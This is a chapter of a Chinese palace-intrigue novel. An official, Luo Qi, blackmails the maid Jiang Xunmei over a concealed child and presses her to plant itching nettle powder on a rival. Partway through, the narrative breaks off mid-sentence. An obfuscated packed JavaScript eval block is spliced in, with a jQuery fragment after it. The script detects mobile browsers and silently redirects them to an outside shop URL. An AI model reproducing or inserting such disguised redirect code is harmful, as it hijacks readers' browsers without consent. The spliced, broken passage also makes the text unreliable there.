姜寻梅躲了几日,到底还是被罗绮逮住了。只要她还在这尚功局里,就不可能躲得过去,该来的还是得来。
接连下了几日的雨,今日总算是出了太阳,她跟在罗绮身后随她进了值房,门在身后被关上时,视线从明亮天光里骤然暗沉下来,亦如姜寻梅忐忑的心境。
"你最近总躲着我。"罗绮的语气不轻不重,暗藏锋芒。
“回大人,是最近事务繁忙,所以才……”
罗绮懒得和她再绕圈子,开门见山道:"我知你一直不愿去做那事。那你也不想想,我为什么要找你?还不是因为我把握不住旁人,但是把握得住你?你说说,我又为何能把握得住你?”
姜寻梅轻咬贝齿,不敢吭声。
“我以为你是个机灵的,没想到竟这般老实。我手上有你的把柄,你不上赶着讨好我,还处处躲着我,呵,真是……”罗绮从鼻子里发出一声哼笑。“我也不想做到这般地步,但若属下不听话,也难免要提醒几句。当年元贵妃薨逝之后,你身边便忽然多了一个孩子,这难道是……巧合?"
姜寻梅的心猛地一沉,整个人像被当头泼了一盆冰水,连指尖都开始发麻。她没想到罗绮竟连这个都知道。
"那孩子,"不同于姜寻梅内里的惊慌,罗绮仍然不紧不慢,"越看越觉得,长得可真像一个人啊。元贵妃将所有服侍过的宫女都遣散出宫,虽说荒唐,但陛下宠爱,也到底依了她。却不知,当真是垂怜宫女不易,还是……"
“……司制大人。”姜寻梅终是开口了,声音晦涩,“这些事,我什么都不知道。我只知道我是大人提拔的,大人要我做什么都可以。”
元贵妃心狠杀了所有宫女灭口,以为莺容会带沈虞出宫投奔赵家,却不想莺容忘恩负义,更不想最终这宫里还有一人知道真相。
姜寻梅隐隐觉得有些不安,如今对于沈虞来说,最危险的人竟然是她。罗绮能查得到,那其他人也能查得到,当姜寻梅一步步往外走,总是会被注意到的。
她在这宫里待了十多年,也应该可以出宫去了。留在这宫里多一日便危险一分,还不如尽早带着沈虞在外安家。她该早做打算了。
至于罗绮司制,这确实是她欠她的,若非那日她保下沈虞,沈虞又怎能安然无恙,姜寻梅心里仍是感激的。
她也在心里安慰自己,这又不是什么草菅人命的大事,何必胆怯。
“只是不知道,做完这事后,司制大人……会不会还继续说起这事?”姜寻梅轻轻抬眼,带着一丝怯意,却又强装镇定。
“这女官里,顶破天了也就是尚制,等我成为尚功,还用你作甚?”
姜寻梅于是再无话可说,罗绮这便笑了,拍了拍姜寻梅的肩膀。她在她耳畔轻声道:“我猜,明鸢那衣服已经准备好,放在她官房里了。可别被人看见了。”
说完这话,她便离开了值房,门被关上发出吱呀一声轻响,罗绮的脚步声在门外渐渐远了,没入走廊尽头,彻底消失不见。
姜寻梅一个人站在值房里,望向窗边透进来的一道光,无数细小的尘埃在光线里浮着,缓慢又无声地飘动,她看着看着出了神。
她出宫去了,唐元怎么办?
可是不出宫,沈虞怎么办?
当真纠结万分。当她找到唐元时,开口却成了一桩难事。她总是觉得太过亏欠唐元,每每都找他帮忙,不知他会怎样看待自己?
“寻梅,怎么了?”唐元关切地看着她,想起什么又有些不好意思,“难道是那日……那日我有事,走得急了些,你千万别怪我。身子无碍吧?”
没想到唐元关心的是这事,问得姜寻梅一阵害臊:“无碍……”
她此刻沉浸在各种纷繁思绪里,一边是对唐元的亏欠,一边记着罗绮的交代,一边又担心沈虞的事暴露,所以此刻根本没觉得唐元实在像个提起裤子不认人的浪子,这几日来都没主动找过她,关心也来得太晚了些。
只斟酌着该怎么开口。
“唐元,其实是我身上有些不舒服……”
“可你刚刚还说无碍?”唐元笑。
“不、不是因为那事,是我这几日……身上总有些痒,想托你去尚药监……”一番话不算很长,却几乎耗费了姜寻梅所有力气,“帮我拿点药材……”
她不好意思极了,本来不想再拜托唐元什么,可又不得不如此。让她一而再再而三地接受别人的帮助,这才真的令她身上泛痒。
“严重么?你怎的不早点跟我说?”唐元倒是没觉得有什么,“我这就去给你拿。”
姜寻梅连道谢的话都没来得及说出来,就见他已经走远,看起来很急切似的,定要为她将药拿来。她望着他的背影,觉得心里暖暖的。好像已经很久没有被人如此珍重对待了。
这样甚至让她觉得,这深宫也是有值得留恋的地方。
拿到荨麻散,接下来该思考怎么神不知鬼不觉地溜进明鸢的值房。罗绮说她会编造事由引开明鸢,但值房外宫女来来往往,很难不被人发现。
就在这时,姜寻梅感觉自己的肩被人拍了一下,她本就做贼心虚,实在是禁不起吓,身子猛地抖了一抖,下意识回头看去,原来是青婉,胸膛中那颗高高跳起的心这才落了下去。
青婉眨了眨眼,调皮地笑:“被我吓到了吧?姐姐你胆子太小啦!”
姜寻梅无奈地扶着胸口,有苦难言。做坏事原来这么刺激,关键她要做的事充其量也就算得上是个恶作剧,她连恶作剧都不敢做。
果然她就不适合当恶人,更不适合成大事,罗绮把这差事交给她,倒也真是心大的很。
明鸢司制的官房同罗绮的分居长廊两侧,各领一个院子,鲜少有人来打扰,只是偶尔有宫女领命进来打扫,但没有命令也不得私自进入。
姜寻梅犯了难,要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761568|208615||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是趁明鸢不在的时候去,连屋子都进不去,但明鸢在的时候,她就算是进得去,也不可能当着明鸢的面办坏事。
青婉不知道她想的这些,同她并肩走在一起,兴致勃勃地说道:“再过几日就是仲冬月初了,宫里要派人去宫外采买布匹,以做冬衣——姐姐,不如你和我向上求个机会一起去吧?我好想到宫外看看。”
出宫?对姜寻梅来说真是个遥远的东西。她已经在这宫里度过了多少春秋,都有些记不清了。当上掌制后倒是有出宫的机会,甚至再服役两三年就能出宫嫁人了。
可她却觉得没有必要,在宫外又没有人等自己,这天地间她已是茕茕孑立形影一身了,出宫去又能去哪里,能见得谁,嫁给谁?
也或许是早在这皇宫里被养出了奴性,让她离了皇宫都不觉有活着的意义,像一只被困在笼子里的鸟,已不记得如何去飞了。所以说这皇宫吃人呢。
然而有了沈虞便不一样了。
姜寻梅心不在焉,但还是笑着应答了她:“好啊,我陪你去。”
这时从长廊那边走来两个行色匆匆的宫女,青婉认出她俩,唤了一声:“这是怎么了?看起来脸色不大好?”
这青婉生性活泼,倒是和谁都挺熟的,姜寻梅在一旁淡淡地笑,既然都急成这样,还把人叫住,这青婉。
那两个宫女抬头看见姜寻梅,连忙行了个礼,解释道:“司制大人院里溜进了猫,身上起了红疹子,痒得厉害,我俩正要去拿药。”
看她俩来的方向,应是明鸢的官房院子。话说,猫?怎么院子里进了猫,明鸢身上就发痒?难不成是她皮肤虚,易被猫毛所折,起了瘾疹?
姜寻梅想起什么,道:“巧了,我不久前刚好领了不少药,其中就有治红疹的,你们随我来拿吧。”
她也没撒谎,唐元十分担心她,问了她好半天,她却不肯说到底是如何痒,唐元便一股脑的把药全要了个遍,里面就有治红疹发痒之症的药膏。
临走前,唐元还嘟囔道:“难道是那里痒……”
之前姜寻梅是听不懂,但现在和唐元做了那事,一下子就听懂了,又觉得不如听不懂的好。她头一次在他面前恼羞成怒,用力拍了一掌他的背,气呼呼地走了。
见两个宫女还有些拿不定主意,姜寻梅也表示理解:“或者你们可以去尚药监问问专门的药,我现在先拿药膏去给明鸢司制止痒。”
“多谢掌制姐姐。”她们说着便告辞了,有姜寻梅出口帮忙,脚步也没方才那么急了。
“明鸢司制竟是怕猫的?真是稀奇。”青婉道,“小猫多可爱啊,可恨宫里那些什么贵人美人的,总是要了猫又丢弃,使这宫里多了不少野猫,我瞧着可怜,还经常去给它们喂食呢。”
“……青婉。”姜寻梅听了这话,蓦地转过身望着她,抿住唇一副欲言又止的模样,挣扎半晌,终是道:“我想要你……帮我个忙。”